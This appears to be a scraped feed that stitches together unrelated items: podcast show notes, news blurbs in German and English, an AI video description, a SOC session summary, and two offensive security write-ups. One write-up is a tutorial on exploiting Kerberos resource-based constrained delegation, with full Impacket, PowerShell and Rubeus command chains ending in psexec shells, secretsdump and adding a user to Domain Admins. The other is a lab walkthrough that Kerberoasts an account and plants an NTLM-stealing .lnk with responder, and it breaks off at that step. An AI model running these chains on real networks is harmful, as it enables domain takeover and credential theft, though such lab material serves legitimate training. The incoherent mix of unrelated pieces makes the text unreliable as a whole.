Interview with François Proulx from Boost Security

Software Supply Chain Security: Build Pipeline (CI/CD) Exploitation

Boost Security is the creator of some very popular build pipeline security tools, like Bagel and Poutine. Today, we discuss their latest tool, Smoked Meat. They describe it as "Like Metasploit, but for CI/CD pipelines".

Segment Resources:
- Smoked Meat announcement: https://labs.boostsecurity.io/articles/introducing-smokedmeat
- Smoked Meat github: https://github.com/boostsecurityio/smokedmeat
- Smoked Meat demo: https://www.youtube.com/watch?v=F5Hr_201Au8 with Guillaume and François

Dr. John Prichard from Radiant Logic

The Three Identity Problem: Surviving Identity Security's Chaotic Era

Identity security has entered its chaotic era. Human, non-human, and agentic AI identities no longer just coexist. They form an uncontrolled inheritance chain in which a human creates an agent, the agent spins up service principals, OAuth grants, and role assignments, and that whole chain keeps running long after the human changes roles or leaves. Most of these chains are being spawned by business users on low-code and enterprise AI platforms, outside traditional identity controls and largely invisible to security.

In this segment, Radiant Logic CEO Dr. John Pritchard joins us to unpack why this is no longer a visibility problem. It is an observability problem. And it is shifting the center of gravity in identity security from authentication to authorization. Listeners will leave with a clearer view of where their current IAM, IGA, and NHI programs fall short, and a practical lens for governing the rapidly expanding population of AI agents already inside their environments.

To go deeper on what John discussed today, watch Radiant Logic's on-demand webinar Identities Under Attack: How Adversaries Exploit the Human-Machine-Agent Divide at https://securityweekly.com/radiantlogicidv.

Cassie Christensen from Saviynt

Everyone Wants an AI Assistant. Few Are Ready to Govern One

Explore a growing reality many professionals can relate to: the appeal of using AI agents to handle the work that keeps piling up - from inbox management to research and logistics - and the governance challenges that quickly follow. The real barrier to scaling personal or enterprise AI agents isn’t the technology itself, but defining clear roles, access boundaries, oversight, and lifecycle management. As organizations deploy more autonomous AI agents, the same identity frameworks used to govern workforce and non-employee identities must now evolve to manage AI-driven access before scale and risk outpace control.

This segment is sponsored by Saviynt. Learn more or get a free demo at https://securityweekly.com/saviyntidv

Jaime Lewis-Gross from Saviynt

From Sales Engineer to Forward Deployed Engineer: The Rise of Hybrid Technical Roles

As technology organizations evolve, technical roles are becoming increasingly fluid - particularly at the intersection of product, engineering, and customer success. This conversation explores what it means to be a modern sales engineer and how the role is increasingly expanding into responsibilities often associated with forward deployed engineers: translating complex technical capabilities into real-world outcomes, solving customer challenges in real time, and serving as a critical bridge between product teams and end users. At the center of this evolution is a customer-first mindset - one that prioritizes listening, adaptability, and long-term partnership. As organizations race to innovate, the companies that stand out will be those that remain deeply focused on customer needs while empowering technical teams to operate beyond traditional role boundaries.

This segment is sponsored by Saviynt. Learn more or get a free demo at https://securityweekly.com/saviyntidv

Kim Brown from LexisNexis

Stop Identity Fraud: Modern Strategies for Insurance and Healthcare

Identity fraud is growing more sophisticated across both insurance and healthcare, making identity management a critical line of defense. In this executive interview, Kim Brown, VP of Product Management, will explore how organizations can strengthen identity verification, authentication, and risk assessment to reduce fraud while improving user experiences. The discussion will highlight emerging threats, evolving regulatory expectations, and practical strategies for deploying identity solutions at scale. Attendees will gain actionable insights to protect customers, patients, and their organizations without adding friction.

This segment is sponsored by LexisNexis Risk Solutions. Visit https://securityweekly.com/lexisnexisidv to learn more about them!

Visit https://www.securityweekly.com/esw for all the latest episodes!

Show Notes: https://securityweekly.com/esw-467

Wo du uns folgen kannst: Facebook, Reddit, Google News, X, Threads

The post Tekken Creator Says Elden Ring Director Hidetaka Miyazaki Still Underestimates Himself appeared first on OnMSFT.

The post Microsoft is letting you sign into Bing with a Google or Apple account, no MSA needed appeared first on Windows Latest

The post The Defender’s Dilemma: AI, MDR, and the Future of Security appeared first on eSecurity Planet.

Read more →

The post The Defender’s Dilemma: AI, MDR, and the Future of Security appeared first on IT Security News.

Read more of this story at Slashdot.

1. Kerberos Delegation 101

If you’re new to Kerberos authentication, I have previously written an article here. To recap, here is the quick breakdown of Kerberos authentication protocol:

• Authentication (TGT): When a user logs in, they prove who they are to the Domain Controller (DC) using their password. In return, the DC hands them a Ticket-Granting Ticket (TGT). This is like a security badge that lets them request access to specific things later.
• Accessing a Service (TGS): When the user wants to access a specific server or service (like a file share), they show their TGT to the DC. The DC checks it and hands them a Ticket-Granting Service (TGS) — often called a service ticket — specifically for that target server. The user hands that TGS to the server to log in.

The Delegation Problem

Sometimes, Server A needs to talk to Server B on your behalf (e.g., a web server checking a backend database for you). To do this, Server A needs to impersonate you. Microsoft built three historical ways to handle this:

• Unconstrained Delegation: You send your TGS and a copy of your TGT to Server A. Server A now possesses your full identity badge and can impersonate you to any service on the network. (Highly dangerous).

• Constrained Delegation: You send a TGS to Server A. If Server A is explicitly trusted to delegate to Server B, it passes your TGS to the DC and says, “Give me a ticket to Server B for this user.” Crucially, your initial ticket (known as evidence ticket) must have a flag called FORWARDABLE set, meaning you allow it to be passed along. If you are marked as a sensitive user, that flag is blocked.

• Protocol Transition (S4U2Self): What happens if you login to Server A using something other than Kerberos (like a web form or NTLM)? Server A doesn’t have a Kerberos TGS from you to pass along. With Protocol Transition enabled, Server A can use an extension called S4U2Self to ask the DC: “Hey, pretend this user logged in via Kerberos and give me a service ticket for them out of thin air.” To stop everyone from doing this, the server account must have a special attribute set: TrustedToAuthForDelegation.

S4U2Self vs S4U2Proxy

These 2 terms often come up when it comes to delegation, and it’s useful to really internalise what they mean. If you’re already familiar, please skip this section.

S4U2Self (“Service for User to Self”)

• What it means: A service is asking for a ticket for a User back to Self (itself).
• The Analogy: Imagine a web server saying to the Domain Controller, “Hey, Bob just logged into my website using a basic password. Can you give me a Kerberos ticket for Bob to myself so I can verify his identity locally?”

Any account that possesses a Service Principal Name (SPN) — which includes every default computer account in a domain — can successfully invoke S4U2Self for any user.

The catch is simple: if the account does not have the classic Protocol Transition flag enabled, the DC will still issue the ticket for the arbitrary user (such as a Domain Admin), but it will explicitly stamp the ticket flag as NOT FORWARDABLE.

S4U2Proxy (“Service for User to Proxy”)

• What it means: A service takes a user’s ticket and acts as a Proxy to send it somewhere else.
• The Analogy: Now that the web server has a ticket for Bob, it needs to look up Bob’s data on a backend database server. It hands Bob’s ticket back to the Domain Controller and says, “I need to act as a proxy for Bob. Please trade this in for a ticket that lets me talk to the Database Server on his behalf.”

In classic constrained delegation, if you present a non-forwardable evidence ticket to S4U2Proxy, the DC rejects the request with a BAD_OPTION error. This safely blocks unauthorized impersonation.

2. Here Comes RBCD

To fix the administrative headaches of classic constrained delegation, Microsoft introduced RBCD in Windows Server 2012.

Flipping the Trust Direction

Constrained delegation operates on an outgoing trust model, while RBCD operates on an incoming trust model.

• Classic Constrained Delegation: Domain Admins must configure this. If Server A needs to delegate to Server B, a Domain Admin edits the properties of Server A (msDS-AllowedToDelegateTo) to say: "Server A is allowed to talk to Server B."
• Resource-Based Constrained Delegation (RBCD): This flips the control to the receiving resource. Instead of configuring Server A, a setting is modified on Server B (msDS-AllowedToActOnBehalfOfOtherIdentity) to say: "I trust Server A to impersonate users to me."

The Weakness in RBCD

Because Microsoft designed RBCD to let local administrators manage their own resources without bugging Domain Admins every time they deployed an application, the permissions required to configure RBCD are much lower.

Anyone who has write permissions over a computer object (like its creator, or an account with delegated local admin rights over that object in Active Directory) can modify its msDS-AllowedToActOnBehalfOfOtherIdentity attribute, and exploit RBCD.

Also, in classic constrained delegation, if you present a non-forwardable evidence ticket to S4U2Proxy, the DC rejects the request with a BAD_OPTION error. However, with RBCD, the DC accepts a non-fordable ticket!

Why does RBCD work with a non-forwardable ticket?

This is the key difference between classic constrained delegation and Resource-Based Constrained Delegation (RBCD).

In classic constrained delegation, the KDC only allows an S4U2Proxy request if the evidence ticket is FORWARDABLE. Otherwise, the request is rejected.

With RBCD, the KDC instead checks whether the target resource trusts the requesting service through the msDS-AllowedToActOnBehalfOfOtherIdentity attribute. If that trust exists, the KDC allows the S4U2Proxy request even if the evidence ticket is not forwardable.

This is what makes RBCD exploitable: any account with an SPN can obtain a non-forwardable ticket using S4U2Self, and RBCD allows that ticket to be used for S4U2Proxy as long as the target resource trusts the requesting service.

3. Step-by-Step RBCD Exploit Chain

Suppose we find a computer account (“Service B”) where we can modify the RBCD setting (i.e. msDS-AllowedToActOnBehalfOfOtherIdentity) to trust “Service A” to impersonate users. So what?

If we can control Service A, we can get a TGS for any user (say Domain Admin), and impersonate that user to get full access to Service B!

But how can we find a Service A that you can control easily? Create your own Computer Account! By default, a domain user is allowed to add up to 10 computers to the domain.

Wait, Computer Accounts = Service?

In Active Directory, Computer Accounts are fundamentally identical to User Accounts, but with a twist: they are security principals meant for machines, and they automatically possess Service Principal Names (SPNs) like HOST/ or RestrictedKrbHost/. Because Kerberos considers any account with an SPN to be a "service," a computer account natively speaks the entire S4U protocol language. This means it has the inherent authority to request tickets via S4U2Self and proxy them via S4U2Proxy.

Prerequisites for exploit

• A compromised user account that has Write permissions to a computer object’s msDS-AllowedToActOnBehalfOfOtherIdentity attribute
• Another compromised account with an SPN, or the ability to create a new Computer Account (which is possible by default because the MachineAccountQuota attribute allows authenticated users to create up to 10 computer objects unless administrators have changed this setting).

Steps for Exploit

If you like to try this out, you can use this on the TryHackMe room Operation Endgame here.

1. Create a Computer Account (i.e. “Service A”) — If you already have access to an account with an SPN, you can skip this step.
2. Configure target computer object (i.e. “Service B”) for RBCD — to let “Service B” trust “Service A” to impersonate any user.
3. Get a service ticket to Service B impersonating Administrator user (or any other user) — The service (i.e. SPN) must correspond to a service running on the target machine (e.g. cifs, HOST, HTTP or ldap).
4. Pass the ticket — e.g. to get a shell as Administrator on target Computer, access the file system on the target Computer, or harvest credentials from the target Computer (secretsdump.py)

Linux Commands for Exploit

##### Step 1: Create a computer account ######

# Option 1: Using Bloodyad
$ bloodyad -d "$DOMAIN" -u "$USER" -p "$PASSWORD" --host "$DC_HOST" add computer 'SomeName$' 'SomePassword'

# Option 2: Using Impacket script
$ addcomputer.py -computer-name 'SomeName$' -computer-pass 'SomePassword' -dc-host "$DC_HOST" -domain-netbios "$DOMAIN" "$DOMAIN"/"$USER":"$PASSWORD"

##### Step 2: Configure RBCD on target Computer Account ######

# Using Impacket rbcd.py script
$ rbcd.py -delegate-from "$CONTROLLED_ACCOUNT" -delegate-to "$TARGET$" -dc-ip "$DC_HOST" -action 'write' "$DOMAIN/$USER:$PASSWORD"

##### Step 3: Get a Service Ticket for Administrator ######

# Using Impacket script getST.py smbc
$ getST.py -spn 'cifs/target' -impersonate "Administrator" -dc-ip "$DC_IP" "$DOMAIN"/"$ACCOUNT_WITH_SPN":"$PASSWORD"

##### Step 4: Pass the ticket to get a shell as Administrator on target computer ######

$ export KRB5CCNAME=administrator.ccache

# The following should work with a cifs ticket.

# Option 1: Get a shell with psexec.py
$ python3 psexec.py <domain>/administrator@<target_ip> -k -no-pass

# Option 2: Do a secretsdump to extract the hashes
$ python3 secretsdump.py -k <target>

# Option 3: access the file system with smbclient
$ python3 smbclient.py -k -no-pass <target>

# Option 4: Use bloodyAD to add user to Domain Admins
# bloodyAD -d <domain> -k --host <hostname> add groupMember "Domain Admins" <username>

Windows Commands for Exploit

You will need to use this for step 1:

##### Step 1: Create a computer account ######
# Using powermad
New-MachineAccount -MachineAccount attackersystem -Password $(ConvertTo-SecureString 'Summer2018!' -AsPlainText -Force)
$ComputerSid = Get-DomainComputer attackersystem -Properties objectsid | Select -Expand objectsid

##### Step 2: Configure RBCD on target Computer Account ######

# This security descriptor grants the newly created computer account permission to act on behalf of users to the target computer.
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)

Get-DomainComputer $TargetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

##### Step 3: Get a Service Ticket for Administrator ######

Rubeus.exe hash /password:Summer2018!
Rubeus.exe s4u /user:attackersystem$ /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:admin /msdsspn:cifs/TARGETCOMPUTER.testlab.local /ptt

##### Step 4: Pass the ticket 
# Option 1: Executing command on target as Administrator
.\PsExec.exe -accepteula \\$TARGET cmd

# Option 2: Accessing file system on target computer
ls \\$TARGET\C$

Hope you found this helpful!

Exploiting Resource-Based Constrained Delegation (RBCD) was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

Erst im Januar ist Apple Creator Studio an den Start gegangen, doch schon jetzt legt der iPhone-Konzern kräftig nach. Mit dem neuen Funktionsupdate wandert vor ... Weiterlesen ...

Der Beitrag Apple Creator Studio im Update: Das steckt jetzt alles in Final Cut Pro, Pixelmator Pro & Co. erschien zuerst auf Apfelpage.

For 26 years, the life-sims genre has been dominated by one series: The Sims. Originally designed by Will Wright, creator of Sim City, EA’s virtual dollhouse series has grown into a $5bn [£3.8bn] empire with the constant release of new games, expansion packs, and collaborations cementing its place among the bestselling video game franchises of all time. But things are beginning to change. New contenders are emerging and turning the heads of even loyal players in The Sims community.

The most recent, and promising, of these is Paralives, once the solo project of indie designer Alex Massé, who is now employing a small team of developers. Released on the PC games platform Steam in May 2026 as an early access title (meaning it’s technically unfinished and looking for user feedback), it sold 250,000 copies in just eight hours. On that first day, the concurrent player count hit 78,603 – not far off The Sims 4’s all-time peak of 96,328 in 2022. While Paralives is a small project, this success is understandable. Following the news of EA’s controversial acquisition by a Saudi-backed business consortium, some simmers are looking for what they see as a more ethical alternative. But this is only part of the game’s appeal. The real draw is the game’s focus on creativity over realism: the quirky details that made many fans fall in love with The Sims in the first place.

Während seit Monaten über ein völlig neues KI-Gerät von OpenAI und dem ehemaligen Apple-Designer Jony Ive spekuliert wird, hat das Unternehmen nun überraschend seine erste Hardware vorgestellt. Statt eines neuen Endgeräts für Verbraucher handelt es sich um ein kompaktes Eingabegerät für den Schreibtisch. Die Mini-Tastatur erinnert an die Creator Micro des kooperierenden Zubehörherstellers Work Louder […]

The post OpenAI überrascht mit erster eigener Hardware first appeared on ifun.de.

Fable 5 — the most powerful AI on earth — got pulled offline by the U.S. government three days after it launched, and it just came back. But for most of us the free window is only a handful of days (through July 7). So I sat down with Daniel Miessler, who's already living inside that window, to figure out the one thing that actually matters: what's worth asking it before it's gone.

This isn't about doing bigger tasks. It's about pointing maximum intelligence at your deepest systems — your AI harness, the security of everything you've shipped, and the single hardest question about what you're actually building toward — so the payoff outlasts the window. Think of it like a super-intelligent alien that can only help for a week: you don't send it on errands, you have it rebuild your roads.

In this video, you'll learn Daniel Miessler's exact list of meta-prompts to run on Fable 5: how to improve the harness that governs all your AI, how to audit the full attack surface of everything you've deployed, and how to ask the model to tell you what you're really shooting at. Whether you're deep into AI already or just trying not to waste the most capable model on earth, this is the prompt playbook for the week Fable is back.

Join the NetworkChuck Academy!: https://ntck.co/NCAcademy

RESOURCES / LINKS:
🌐 Daniel's write-up — 10 Prompts to Run When Fable Comes Back: https://danielmiessler.com/blog/prompts-to-run-when-fable-comes-back
🌐 Daniel's "too smart for humans" project: https://eternalquestions.ai
👤 Daniel Miessler: https://danielmiessler.com
📖 Anthropic Fable 5 redeploy announcement: https://www.anthropic.com/news

TIMESTAMPS:
0:00 - Fable 5 is back, and you only have 6 days
0:24 - Why the government pulled Fable 5 offline
0:39 - Calling Daniel Miessler for the right prompts
1:04 - What changes after July 7 (the 50% usage cap)
1:33 - The one-question test: what would you ask a super-intelligent alien?
1:59 - Prompt 1: Optimize your harness (your deepest system)
2:51 - Prompt 2: Security and prompt injection handling
3:22 - Prompt 3: Audit everything you've deployed (attack surface management)
3:50 - Prompt 4: The self-model audit — what are you actually shooting at?
5:16 - Which of your skills is about to 10x (and which dies)
5:43 - How to write these prompts yourself (walk and talk)
6:47 - Answering questions too hard for humans (eternalquestions.ai)
7:13 - The alien architects: doing work that outlasts the window
7:51 - What would YOU ask Fable 5?

FEATURING:
👤 Daniel Miessler (Security researcher, writer, creator of Fabric): https://x.com/DanielMiessler
Website: https://danielmiessler.com

SUPPORT NETWORKCHUCK:
☕☕ COFFEE and MERCH: https://ntck.co/coffee

READY TO LEARN??
🔥🔥Join the NetworkChuck Academy!: https://ntck.co/NCAcademy
📚 CCNA Course: https://ntck.co/ccna

FOLLOW ME EVERYWHERE:
Instagram: https://www.instagram.com/networkchuck/
X/Twitter: https://x.com/networkchuck
Facebook: https://www.facebook.com/NetworkChuck/
Join the Discord server: https://ntck.co/discord

Some links in this description are affiliate links. If you buy through them, I may earn a small commission at no extra cost to you.

Eric Amador from Thales joins the show to discuss pqctoday.com, an open initiative designed to simplify quantum-safe migration. Discover how browser-based cryptographic tools and AI help organizations understand upcoming global timelines, test new algorithms such as ML-KEM without friction, and prepare for the quantum threat.

YouTube chapters
00:00: Introduction to Eric Amador and PQC Today
01:24: Combining AI with cryptography to solve migration challenges
03:46: Testing ML-KEM and ML-DSA in the browser using WebAssembly
05:07: Shifting landscapes: Blockchain, 5G, and broken elliptic curves
07:58: Simplifying tracking for global standards bodies like IETF and NIST
10:50: Collaborating across industry lines at NCCoE and ICMC 2026
13:51: Amplifying vendor impact through open-source education
16:20: Tailoring migration strategies to developer, DevOps, and executive personas
21:14: Accelerating momentum and the reality of modern cryptographic threats
24:50: Actionable first steps for building true cryptographic governance

Guest bio
Eric Amador serves as a Product Manager at Thales and is the creator of pqctoday.com. He focuses on making applied cryptography actionable across multiple industries by bridging the gap between technical teams and executives.

At the Rapid7 Global Cybersecurity Summit, the session The AI Dilemma: Automating Defense Without Surrendering Judgment explores how AI is being used in the SOC today, and where it creates real value in practice.

The discussion centers on a set of assumptions that often shape how teams approach AI, and why those assumptions do not always hold up in real environments.

Myth 1: AI will replace analysts

Across the session, there is a consistent focus on how AI supports investigation workflows by reducing repetitive work and surfacing relevant context, allowing analysts to focus on decisions that require judgment. AI helps teams move faster, but responsibility and accountability still sit with people. TL;DR, the role of the analyst is evolving, but it is not disappearing.

Myth 2: More automation means better security outcomes

Automation is valuable when it is applied in the right places. In practice, teams are finding the most benefit in areas such as enrichment, summarization, and triage, where large volumes of data need to be processed quickly. High-impact actions such as containment or configuration changes still require oversight, particularly when they can affect production systems or business operations.

Myth 3: Speed is more important than transparency

As adoption increases, trust becomes more important and analysts need to understand how a conclusion was reached before they act on it, especially in high-pressure situations. The session highlights how explainability builds confidence over time, allowing teams to rely on AI outputs without losing control of the decision-making process.

Myth 4: AI is only about efficiency gains

Efficiency is part of the story, but the impact runs deeper. AI helps connect signals across fragmented environments, reduces cognitive load, and supports more consistent decision-making. It also changes how teams approach investigation by making it easier to surface patterns and identify relationships that would be difficult to see manually.

Myth 5: Attackers benefit more from AI than defenders

Both attackers and defenders are learning how to use AI, and both are moving quickly. What matters for security teams is how they apply it within their own workflows. The session explores how AI strengthens detection, investigation, and response when it is integrated into existing processes rather than treated as a standalone capability.

Where AI creates real value in the SOC

Across the discussion, a clear pattern emerges. AI delivers the most value when it is applied to high-volume, context-heavy tasks, where it can process data, highlight signals, and recommend next steps. Analysts remain central to interpreting those signals, understanding intent, and deciding how to respond.

This balance between automation and oversight is what allows teams to scale their operations without losing confidence in their decisions. It also reflects how AI is being adopted across the industry, with most organizations maintaining moderate to high levels of human involvement as they build trust in these systems.

For SOC leaders, practitioners, and teams exploring AI, the session offers a grounded view of how these technologies are being applied today, and how that approach is continuing to evolve.

Watch the full session to explore how transparent AI supports better decisions in the SOC and how teams are applying it in practice.

Can an application for public service requests lead to full domain compromise? You would probably say no. But you’re wrong. And I am going to show you why.

● Discovering the service account

We were given only an IP address to start from. So I launched a scan to see which ports were open and which services were available.

rustscan -a 10.1.65.124 -- -A

I used rustscan because I like the option to pass nmap flags directly for the open ports. The scan revealed the following results:

PORT      STATE SERVICE       REASON  VERSION
53/tcp    open  domain        syn-ack Simple DNS Plus
80/tcp    open  http          syn-ack Microsoft IIS httpd 10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: City Hall - Your Local Government
88/tcp    open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2026-04-07 16:20:34Z)
135/tcp   open  msrpc         syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: city.local0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack
464/tcp   open  kpasswd5?     syn-ack
593/tcp   open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped    syn-ack
3268/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: city.local0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack
3389/tcp  open  ms-wbt-server syn-ack Microsoft Terminal Services
| ssl-cert: Subject: commonName=DC-CC.city.local
| Issuer: commonName=DC-CC.city.local
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-02-26T17:26:36
| Not valid after:  2026-08-28T17:26:36
| MD5:   6b9a:3a36:385d:f60a:43ef:3281:cafa:50fb
| SHA-1: b9ad:bca4:bad8:52b8:732f:3307:7b4b:d035:f389:3ce2
| -----BEGIN CERTIFICATE-----
...
|_-----END CERTIFICATE-----
| rdp-ntlm-info: 
|   Target_Name: CITY
|   NetBIOS_Domain_Name: CITY
|   NetBIOS_Computer_Name: DC-CC
|   DNS_Domain_Name: city.local
|   DNS_Computer_Name: DC-CC.city.local
|   DNS_Tree_Name: city.local
|   Product_Version: 10.0.17763
|_  System_Time: 2026-04-07T16:21:30+00:00
|_ssl-date: 2026-04-07T16:21:41+00:00; 0s from scanner time.
5985/tcp  open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        syn-ack .NET Message Framing
47001/tcp open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc         syn-ack Microsoft Windows RPC
49665/tcp open  msrpc         syn-ack Microsoft Windows RPC
49666/tcp open  msrpc         syn-ack Microsoft Windows RPC
49668/tcp open  msrpc         syn-ack Microsoft Windows RPC
49669/tcp open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
49670/tcp open  msrpc         syn-ack Microsoft Windows RPC
49671/tcp open  msrpc         syn-ack Microsoft Windows RPC
49676/tcp open  msrpc         syn-ack Microsoft Windows RPC
49677/tcp open  msrpc         syn-ack Microsoft Windows RPC
49680/tcp open  msrpc         syn-ack Microsoft Windows RPC
49698/tcp open  msrpc         syn-ack Microsoft Windows RPC
49709/tcp open  msrpc         syn-ack Microsoft Windows RPC
49716/tcp open  msrpc         syn-ack Microsoft Windows RPC
Service Info: Host: DC-CC; OS: Windows; CPE: cpe:/o:microsoft:windows

After adding the corresponding entries to /etc/hosts, I started with the most interesting items I found, the shared drives (port 445) and the website (port 80).

Unfortunately, anonymous login didn’t reveal any shared drive, so I had to leave that for the moment.

┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]
└──╼ $smbclient -L \\\\city.local

Password for [WORKGROUP\rootshellace]:
Anonymous login successful

 Sharename       Type      Comment
 ---------       ----      -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to city.local failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

Since I didn’t get anything useful, I started browsing the website, looking for possible attack paths. An initial scan with gobuster revealed a sub-directory named uploads. This was useful in a later step.

Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 24118]
/uploads              (Status: 301) [Size: 149] [--> http://city.local/uploads/]
Progress: 4614 / 4615 (99.98%)

The website didn’t look very interesting until I got to a page where you could download an application, for both Linux and Windows, to submit various form requests. The executables were available here: http://city.local/documents-forms.html.

I ran strings on both files, in an attempt to find possible hard-coded elements. I found a token and something looking like a hash, but couldn’t do anything with them.

The next step I took was to simulate submitting a dummy request from the app and see what happens. Now, here is where I found the first handy item. The application had a logging screen and the name of a used service account was displayed.

[20:12:06] Application form loaded. Please complete all required fields.
[20:12:06] Service: Public Works Service Request
[20:12:06] System ready for form validation and processing.
[20:12:59] Validating application form...
[20:12:59] Connecting to City Council Directory Services...
[20:12:59] Using dedicated service account: svc_services_portal
[20:13:01] Performing LDAP bind request - Portal Service Authentication...
[20:13:02] Performing Search: citizen records database...
[20:13:03] Performing Validate: application eligibility criteria...
[20:13:04] Performing Update: service request tracking system...
[20:13:05] Performing Log: public services audit trail...
[20:13:05] Performing Verify: resident information consistency...
[20:13:06] Performing Process: automated workflow routing...
[20:13:07] Performing Update: municipal service database...
[20:13:07] Authenticating service account with DC-CC.city.local...
[20:13:07] ✓ Directory service authentication completed
[20:13:07] ✓ Application validated successfully
[20:13:07] ✓ Service request processed and logged
[20:13:07] ✓ Workflow routing completed
[20:13:07] ✓ Database update successful

I tested svc_services_portal user with an empty password. The test failed, but it confirmed I got a valid user.

┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]
└──╼ $netexec smb city.local -u svc_services_portal -p ''

SMB         10.1.65.124    445    DC-CC            [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-CC) (domain:city.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.1.65.124    445    DC-CC            [-] city.local\svc_services_portal: STATUS_LOGON_FAILURE 

● Obtaining the password for the service account

I initially tried to use as a password the token I found using strings, but it didn’t work. So, how do we get the password?

Since the authentication was done automatically when executing the app locally, I intercepted the traffic using Wireshark, then followed the corresponding stream and got the password for the service account.

I tested the credential pair and got the confirmation that they are valid.

┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]
└──╼ $netexec smb city.local -u svc_services_portal -p <REDACTED>
SMB         10.1.65.124    445    DC-CC            [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-CC) (domain:city.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.1.65.124    445    DC-CC            [+] city.local\svc_services_portal:<REDACTED> 

● Get the Active Directory structure using BloodHound

Having a valid pair of credentials, I used it to get an idea of how Active Directory was structured for that entity.

┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]
└──╼ $bloodhound-python -u svc_services_portal -p <REDACTED> -ns 10.1.65.124 -d city.local -c All

Once I obtained the archive containing the .json files, I imported it in BloodHound. I checked if svc_services_portal had any interesting permissions or was part of any useful groups, but nothing came up.

This account looked like a dead end, so I moved on checking if there were any Kerberoastable users. I found clerk.john.

● Get access as clerk.john

The first step was to get the Kerberos hash for this user. I used GetUserSPNs script from impacket.

┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]
└──╼ $impacket-GetUserSPNs city.local/svc_services_portal:<REDACTED> -dc-ip 10.1.65.124 -request

Once I got it, I passed it to john to crack it.

┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]
└──╼ $john --format=krb5tgs --wordlist=/usr/share/wordlists/rockyou.txt john_clerk_hash_krb.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
<REDACTED>        (?)     
1g 0:00:00:02 DONE (2026-04-07 21:37) 0.3816g/s 729306p/s 729306c/s 729306C/s clouds96..clenol
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

To make sure the password was OK, I tested the credentials.

┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]
└──╼ $netexec smb city.local -u clerk.john -p <REDACTED>
SMB         10.1.65.124    445    DC-CC            [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-CC) (domain:city.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.1.65.124    445    DC-CC            [+] city.local\clerk.john:<REDACTED> 

I went back to BloodHound to verify this new user, but it didn’t have any useful access.

● Get access as jon.peters

Because BloodHound didn’t reveal any lead, I went back to the shared drives and enumerated again, this time as clerk.john.

┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]
└──╼ $smbclient -L \\city.local -U clerk.john
Password for [WORKGROUP\clerk.john]:

 Sharename       Type      Comment
 ---------       ----      -------
 ADMIN$          Disk      Remote Admin
 Backups         Disk      
 C$              Disk      Default share
 IPC$            IPC       Remote IPC
 NETLOGON        Disk      Logon server share 
 SYSVOL          Disk      Logon server share 
 Uploads         Disk      
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to city.local failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

Well, better than anonymous login, at least I had something to work with. On Backups drive I got a Permission Denied error when attempting to connect, but I was able to map the Uploads directory. Inside, among other files, I found an email from Emma Hayes. It was mentioned that write access was granted to Jon Peters on this drive and NTLM authentication was used.

The next step was to start a listener, with responder, on the VPN interface I was using for the challenge.

┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]
└──╼ $sudo responder -I tun0

Then, I created a fake .lnk file, using ntlm_theft.py - available here

┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]
└──╼ $python3 ~/Tools/ntlm_theft/ntlm_theft.py -g lnk -s <MY_VPN_IP> -f fake_note

